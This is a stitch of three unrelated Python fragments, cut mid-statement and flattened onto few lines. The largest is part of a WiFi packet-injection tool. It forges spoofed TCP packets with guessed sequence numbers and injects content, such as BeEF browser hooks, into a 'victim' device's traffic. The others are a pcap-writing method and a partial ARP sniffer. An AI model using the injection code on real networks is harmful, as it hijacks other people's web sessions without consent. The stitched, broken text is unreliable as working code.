self.args.wep is not None: try: packet = wepEncrypt(packet, self.args.wep) except: sys.stdout.write(Bcolors.FAIL + '\n[!] pyDot11 did not work\n[!] Injection failed\n ' + Bcolors.ENDC) sys.stdout.flush() if self.args.v is False: sendp(packet, iface = self.interface, verbose = 0) else: sendp(packet, iface = self.interface, verbose = 1) if self.args.pcap is True: wrpcap('outbound.pcap', packet) ## Open WiFi Injection else: if self.args.v is False: sendp(packet, iface = self.interface, verbose = 0) else: sendp(packet, iface = self.interface, verbose = 1) if self.args.pcap is True: wrpcap('outbound.pcap', packet) ### Single packet exit point ### Used for BeEF hook examples and such if self.args.single is True: sys.stdout.write(Bcolors.OKBLUE + '[*] Injecting Packet to victim ' + Bcolors.WARNING + vicmac + Bcolors.OKBLUE + ' (TOTAL: ' + str(npackets) + ' injected packets)\r' + Bcolors.ENDC) sys.exit(0) ## Injection using Managed Mode else: hdr = Headers() headers = hdr.default(injection) packet = Ether(\ src = self.getHwAddr(self.interface),\ dst = vicmac\ )\ /IP( dst = vicip, src = svrip )\ /TCP( flags = 'FA', sport = int(svrport), dport = int(vicport), seq = int(seqnum), ack = int(acknum) )\ /Raw( load = headers + injection ) if TSVal is not None: packet[TCP].options = [\ ('NOP', None),\ ('NOP', None),\ ('Timestamp', ((round(time.time()), TSVal)))\ ] else: packet[TCP].options = [\ ('NOP', None),\ ('NOP', None),\ ('Timestamp', ((round(time.time()), 0)))\ ] if self.args.v is False: sendp(packet, iface = self.interface, verbose = 0) else: sendp(packet, iface = self.interface, verbose = 1) if self.args.pcap is True: wrpcap('outbound.pcap', packet)
def write(self,data): from scapy.utils import wrpcap pkt = self.pkt / data return wrpcap(filename, pkt)
args = parser.parse_args() #check we are running as root for online capture if not offline or not args.dump == None: check_root() print '\n' + "Running %s with parameters: time=%s, input=%s, dump=%s, nodes=%s"%(os.path.basename(sys.argv[0]) ,args.time, args.input, args.dump, args.nodes) + '\n' if not args.dump == None: #dump to file & exit try: thread.start_new_thread(countdown, (args.time,)) pkts = sniff(timeout=args.time) except: print "Error: unable to start thread" wrpcap(args.dump,pkts) print 'output saved in file {}'.format(args.dump) exit(0) if args.nodes: if offline: #realizamos un sniff offline filtrando por nodos pkts=rdpcap(args.input) for pkt in pkts: monitor_callback_arp(pkt) else: #realizamos un sniff online filtrando por nodes try: thread.start_new_thread(countdown, (args.time,)) sniff(prn=monitor_callback_arp, store=0, timeout=args.time, filter='arp') except: